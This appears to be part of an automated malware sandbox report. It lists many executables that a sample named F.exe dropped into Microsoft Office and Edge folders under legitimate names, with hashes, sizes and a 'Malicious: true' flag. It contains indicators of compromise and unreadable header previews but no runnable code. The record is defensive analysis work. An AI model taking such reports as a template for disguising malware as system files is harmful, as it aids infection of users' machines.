C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	895120
Entropy (8bit):	2.964304827256967
Encrypted:	false
SSDEEP:	3072:zr8WDrCgfCEq7tOxIfMFzCEpAm/4rx7z1arf+9:PuJz8w
MD5:	02B9A3A76F77E057424B70187B54E8BE
SHA1:	3A659E76872EE3E20BA10F11D291D0BAC6EE0F66
SHA-256:	7B044969828A96DC142FFEDEB7922A876C4CC5CB4DC073C5CA47B868D7315C4B
SHA-512:	26D9CC3CA41BF1AA592A914DB7BDC82D7761962D7AECA6BDFC38047B39D6E1081484B5A90C009DE01D41F9CA45E54570B15AF6F10BD7E9CFD985F42B3ACF6E6E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105440
Entropy (8bit):	6.077342901333925
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCqjhzxwKehzgt5t1D:zr8WDrCMhLehEthD
MD5:	3041D08F176DA6C15446B54A11BA7772
SHA1:	474A99A64B75751BBD04B10E7F7F2D9D43F12E6E
SHA-256:	3E6EB6EE327A6054BA3BE5F55F3481FE3436AB3CF0F0D6FE99976472CDD02631
SHA-512:	216E38ACBCAC94F24144566415DFB6EBC94A16E93B44E1F45B79D982523B8F4A6A2FC1AD5843C336998D30F2EBD39ACE559F93EAD1AEE696A81032CB5641202D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	537536
Entropy (8bit):	4.966282092151679
Encrypted:	false
SSDEEP:	3072:zr8WDrCXPMMRMMMmMMMvMMMwMMMNMMMWMMM3MMsewVOOMzMMvMMOMMMJMM2MMQMe:PuGwVR6V7byjUWAZyVVdz8eEdGo
MD5:	565FEA50A9BDB9B4C1A88FB65316D097
SHA1:	D98406308D5B48AB1AC35E2E866D0F1A30E37442
SHA-256:	93A7BDC3118E56C0F2EA0CDD7718D4A7F7165B6FF6A1A4EC7912946B35DA1DB8
SHA-512:	7C0DBBC3880E747EF11EEF454173A959F98045110BC0A851DDF1405B8DFC18A1B6F1D2321271C67B8815647698AB8754EB9C0DF226ABA598060B78580A1BE299
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1271952
Entropy (8bit):	4.08276153361242
Encrypted:	false
SSDEEP:	3072:zr8WDrCf3ppPpNpDpspp/pCp0pmppdpspppRppMpLp0ppppbpQp2pphpSpXpQppt:PuIKQSNdhnSzv
MD5:	4F7B544E82176A6591B213634C9DCBBC
SHA1:	EAB0382F33BD32FBF05351F750014EB814CDFC07
SHA-256:	3E8E1E8C74AC39D6663C089A3FADE84F9852F70325981F037E9CA111036448CA
SHA-512:	C339CC8DA7001494E3D2855632837408784412412630507E52A165AB42FCE29CF0D0115D3C3475ED231B2E4A14025464FC6DA85F4AD3227822B6855117D7C604
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099760
Entropy (8bit):	3.71770959793901
Encrypted:	false
SSDEEP:	12288:+BKs7fvZIFpCYVIVN2mGsb8HtVLaHw3j4cLbUBRjLFP29DyZbT9gb/m06aCzE6h9:+BKszX0FjOeblHiled/k
MD5:	44D035172880CB494A431B5151307A85
SHA1:	F754A916F702B3A4AE738978E6CAF9ED103977F7
SHA-256:	60DBDA9BFE2A3A683DE925697F23962303AADA724144B70C50D5D4D915A73EDA
SHA-512:	1916ED72E59480F3585160231E3DCC459DCBFB3BBF126C7456A3135B9A08150A3B5512F5469CE7B60E2CFEAFD52B06157DA821367E83184CB2D54FE1BAF1D52C
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273488
Entropy (8bit):	4.318016696735314
Encrypted:	false
SSDEEP:	3072:zr8WDrC56bZt+ATS583ONo4aezJ8ZfqiA:Pu56bZtazB
MD5:	8014D7B281477BA8D20CF01253894A75
SHA1:	847240AFA115E972C2115BF02965C89013BFEB8D
SHA-256:	D78C4FE0CB9E9552A8073F6F60F5CE2D1BC9306855FF52788B8DC542C62C56B0
SHA-512:	F66439985974204855DC81E3E43C9CECD19914DE11C72BB6EFD5CB0BC824198F0904ED5CC33975C45A02BDF0EABB979594B1A0CD793EF77A99C507CDB4F423F9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.717272734704383
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCCwu7mzj9zNtP9zNps8Q:zr8WDrCCLmzj9P95psb
MD5:	69A2BD4BD404C78D413DAD66D32597C3
SHA1:	7663FEFC203E918AA0A6618A4548B273E4AA2893
SHA-256:	5AEAF364B4159E6603DCC5AC220765A83033E62679405C8141A4C209F89BDF6F
SHA-512:	913C45F67F749ECAC269FBCEBDDAB2A274F274DC7FE0376FEB92C8438493FC9B8B528C48962C27B05710C8D1B48E22300002A9D7075D8FD3DEA1680C0772E9B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2970664
Entropy (8bit):	3.852513127476973
Encrypted:	false
SSDEEP:	3072:zr8WDrCbKd0qVmvzC1SvXKo3NzbsZ6DdIAZcbEcofUnpfRII8Lp9qgN3WJp0Rf5F:PuO/V/CfDhNG5sMXjjzmEPoL
MD5:	7AF0A120B754A36602AC1A7F2B3C66D1
SHA1:	D7870589638553E4D6DDD2E96F47CE3257CA4386
SHA-256:	548A4FDDCBEEF643B1CEA7FEA80E10EF7A98342223AA0D03E2D3F0E090732FA3
SHA-512:	9673C807E0C42B9C96E7A2EDE5B905E113B1C3A9C082FEB06AF7AA507238F35B4A376DCDB78711AB59A71845AA85C8B6A0ACEC24FF1EA0C08D0DA5AAAE1A5851
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.7796637413670093
Encrypted:	false
SSDEEP:	6144:Pu8sSR7PYKzz38YwZItvsDu7DbDhRAUzHW:5PYmLWSDBy
MD5:	6DC25D566989B3C8B314D0A51CE264BB
SHA1:	91A91837034A68BC5327132381D4A060B96B80AC
SHA-256:	7B0D191A69BA4A30A5F9BA4914F61B4514B30507467858E595353E158E20B62C
SHA-512:	213F26AC7407CDC444968465B5F2153DBF4D0B1113ECFFC7CBD936BCD4D0F1B024C5EB294EB1630D986BC022726F622950B8187304385FB81CA234E0E6D6D9A4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4319272
Entropy (8bit):	3.812301874725472
Encrypted:	false
SSDEEP:	6144:PuEmRfvlTZY/C3ul0ywb/uXMo+YJ7M41zXLWIB:3+6M+595B
MD5:	FB10E76D72E74609F207999494FFEEC1
SHA1:	9AE189189878E6B4E84FC1EA6BD6CC861E25BD68
SHA-256:	1594E068581C29E6422B82053DC5D2F1E805E190E7B12F9EFE8BE6C2D6E8E4DA
SHA-512:	78F4F601BB7E5B5696B615B66F701DAF6DE2E984C19D502207A786D5E6784E5D3C7474D05EE282227EB19EDA91A5BCEF3698B0F02FB0630003BAF88AE75C2136
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7732979147875136
Encrypted:	false
SSDEEP:	3072:zr8WDrCyo4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:Puv243xmQm59UtUSfz3
MD5:	9139C2A0B4A37763278B42FA33970AD6
SHA1:	4667B3983C739687FC50DF651F1633E1EC2DBCFF
SHA-256:	EF91D1E371D92DBCAA676684653EE1892F901D4365F922BD6BD5833B5CD0488F
SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	582184
Entropy (8bit):	6.398834596152969
Encrypted:	false
SSDEEP:	6144:Pu0LWET8DS698nGX2OduCwUJWh/JmmS3DAjqnkrzFoEh+vMKC239YUFgBdQ/:PLxT8DhyiLduCe/lSpn6zOvYUFg4/
MD5:	897450E53986279D2B04BA53B52BDDD8
SHA1:	94C242D856D91F902792EF4B390A65847321632F
SHA-256:	07648CB2CA34B1C0F75971AE97F941AB50AE25F76429AFD4CBF1895B0269D24E
SHA-512:	72A40CC08748BBAEE3E5B06EFA0F123F2C20A793B5862473EB972CA68F39474A89D4BF9DD0250321DC32D80AD8ADE6A0D52CCE978B5DC0AD1421E6213DA42C98
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837992
Entropy (8bit):	6.444733046079261
Encrypted:	false
SSDEEP:	49152:BB1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8EK:NHzorVmr2FkRpdJYolA
MD5:	32890A1EABD25D9DAFC948F5146EE430
SHA1:	228A82E420134C823B26445D3124DEA5575E68B4
SHA-256:	3701476504BE77805D33A9E809A5D42C10170D5342C9D6DD2B546EB8D44F9005
SHA-512:	9B1B651AFB2C5DAFA5D3A0D48ADE18F90BC370F183C0884F21C1EC2454F015DEEFF627F091AD1C73341EEDD2F5C7D291DF2CAB0E6B23A8C5F52E2DE2DD3E0C6A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161832
Entropy (8bit):	6.14756500825813
Encrypted:	false
SSDEEP:	3072:zr8WDrCJ2VSd2ga8KActASiZAkXS1xU5M3XgcoT0cs4qIm6Y6:PuYVSktVjv3Xg5T0FIY6
MD5:	04EF9F4C747D7E6688BA9F35B8E3D8BA
SHA1:	24E64BAC23BC510711460C2B33130FF4C1CDCE05
SHA-256:	3D1421240FCFD07D5084ED9D4B33A5DFFADE81CE7912EE0BE4A2E4437857B642
SHA-512:	BA8C839D6CA820B5DA5E1864564355EDB1628811B34FDFAAF54C0505D2971892C6CE3783FF4F2DA8BEC0A346BE733570BF50CD86B2726249AAF3DA611470B993
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1827880
Entropy (8bit):	6.540156971587151
Encrypted:	false
SSDEEP:	24576:nhDdVrQwm5ztlU0A7fMAHmpmZ3QXE/0/lVaLpmasGvP0:nhDdVrQ95RW0Y9HyWQXE/09Val0GE
MD5:	879742EC86106257BEA934DBE9B820B4
SHA1:	2D0D374FE06464FE3DEF4C6025BF2C5246572C03
SHA-256:	8AFF66C49C009D187109D8B38F826731B88C832B976767C41F73EA4C7972CF2C
SHA-512:	B7DD56A683CFB81DE96408F4D973EF9EB8201E5A2C574954487E152945D87CBCD5CF81D9567B09378E7737FA47B31AB29DCD03BE846DABAF164E3530639FCE36
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297448
Entropy (8bit):	6.513926743108373
Encrypted:	false
SSDEEP:	12288:3doA0Eh2XptoQZRuefMYR6RrAJU9CsxmMocSipEylqFfouDMA+nkSddSDBDIq:370E0ZCQZMip6Rrt9RoctGfmdd0
MD5:	C46EECCF6FAE76F11358D0E43965681C
SHA1:	9ED2788370B6F5B476C7E6000058BE7D5EBEDA6E
SHA-256:	5804894F3F60DA262589131E6B7A1CEA7D5B1023993ABBAD2253C12526914D8E
SHA-512:	C36F36F16CFE7AA0A39353F45931B3B64D7E1168C8DCF61FB7A116612CB24A54E281D4D616EC21D6117118B03A0F03AEF8EFD91CFD5483EB6B6776C7A50EFED9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4251688
Entropy (8bit):	6.506317829104403
Encrypted:	false
SSDEEP:	49152:bpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:QehFLvTQDpB5oSOmlBl
MD5:	6D080AAFAA8CE83776195B5B124103FF
SHA1:	8C8809935FA73EB7A18FBD8023B0636765DA9C09
SHA-256:	6AF714C0C52FE584E9B4E9EF39D4DE723C509BF9082476BA3C5B97DCB2D3E4F3
SHA-512:	F7C81889032AFFD9BF288A4B34ECD026B9EC6E5BF74D3D4EFF229029D63B33B26CD0B178AD95FD6BE728414882678F8E36C0C1373D21A32367E9508CCCE7EB25
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1319976
Entropy (8bit):	6.503786677710061
Encrypted:	false
SSDEEP:	12288:Uyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:UiD2VmA1YXQHwlklb8boUuWPg2gX
MD5:	9CF33C2C22730E0C3C7F65154ABFD0A7
SHA1:	7ED4EB14D0A8174B75E4C5F0B06B4DB54F53429F
SHA-256:	FA5E80F107D15EA38675A3A544DA56AA245DB5421D64A162ECB4C159A6CBE229
SHA-512:	CD21A5AB79A0DDCE0F88C57D3E8E4B56C093B12E6CD74DF3AA234D1EB2C8C1D7E4412083836D102B5E4BB545177EC58D5E8FC21216DAB8AEC92D0D3F02026FAC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327080
Entropy (8bit):	6.530984368082779
Encrypted:	false
SSDEEP:	24576:yfD3zcv9ZhsSGSQoryOzozU63IqRNhB0kDKPHkkkkkkkBoIeAz:yfD3zO9ZhBGlopzM3HRNr00z
MD5:	3332CF2E4E55A3382BC000AD04399C84
SHA1:	88E1C5B851AB8F57E50EE2F9AFEDF3CE828FA19E
SHA-256:	780A8D096F70BC6FDEEEF05A22C1C943E64C2A3CBE33C6F3600504606D4FCBBB
SHA-512:	1CE56E69DB2CA020CCCC036B5F0FC93156F2352420B5F7E3F551230D478AF5470657F81617B45CB32DF98EF9DCBF5254BEB16DC75F43186ECFF2D71740A772B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3790800
Entropy (8bit):	6.537629939786787
Encrypted:	false
SSDEEP:	49152:GTaRe7mkn5KLvD5qGVC008Jpb4tgLUgGEsLABD5wTQh07yrLMLl9YPhe:ZI72LvkrCpbxJRoIMx
